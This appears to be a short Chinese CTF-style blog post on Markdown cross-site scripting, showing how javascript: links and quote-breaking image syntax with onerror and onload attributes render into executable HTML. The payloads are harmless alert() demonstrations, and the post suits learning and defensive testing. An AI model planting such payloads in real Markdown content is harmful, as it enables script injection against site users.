CTF Web安全

markdown XSS学习

Posted on 2020-01-02,2 min read

介绍
markdown是一个用于编写和格式化内容的简单语言。github上的readme就是这个编写的。

使用

视觉效果很棒。
markdown编写

![the goodest boy](https://xzfile.aliyuncs.com/media/upload/picture/20190302105527-a276e4a8-3c96-1.png)

非常简单。由于markdown是一个格式化内容的简单语言。读取markdown中的行。生成HTML,那么,如果写入恶意javascript代码。就能造成xss
例如
click me

[click me](http://www.baidu.com)

这里就直接跳转到了baidu
如果写入以下代码呢

[click me](javascript:alert(1))


我们看到,xss经典弹窗。为什么会造成xss呢
当我们输入

[click me](http://www.baidu.com)

他会格式化成

<a href="http://www.baidu.com">click me</a>

我们输入

[click me](javascript:alert(1))

就格式化成了

<a href="javascript:alert(1)">Click me</a>

从而造成了XSS
这需要用户单击才会造成xss
接下来看markdown中的图像语法

![test](https://xzfile.aliyuncs.com/media/upload/picture/20190302105527-a276e4a8-3c96-1.png)
格式化后:
<img src="https://xzfile.aliyuncs.com/media/upload/picture/20190302105527-a276e4a8-3c96-1.png" alt="test">

我们能不能通过双引号闭合造成xss

![test]("onerror="alert('xss'))
格式化后:
<img src="" onerror="alert('xss')" alt="test">

由于src为空,导致代码执行onerr的js语句
还能通过onload属性,在页面加载后执行

![test](https://xzfile.aliyuncs.com/media/upload/picture/20190302105527-a276e4a8-3c96-1.png"onload="alert('xss'))
格式化后:
<img src="https://xzfile.aliyuncs.com/media/upload/picture/20190302105527-a276e4a8-3c96-1.png" onload="alert('xss')" alt="test">

不同markdown版本,会有不同的执行效果

下一篇: Mysql floor()报错注入→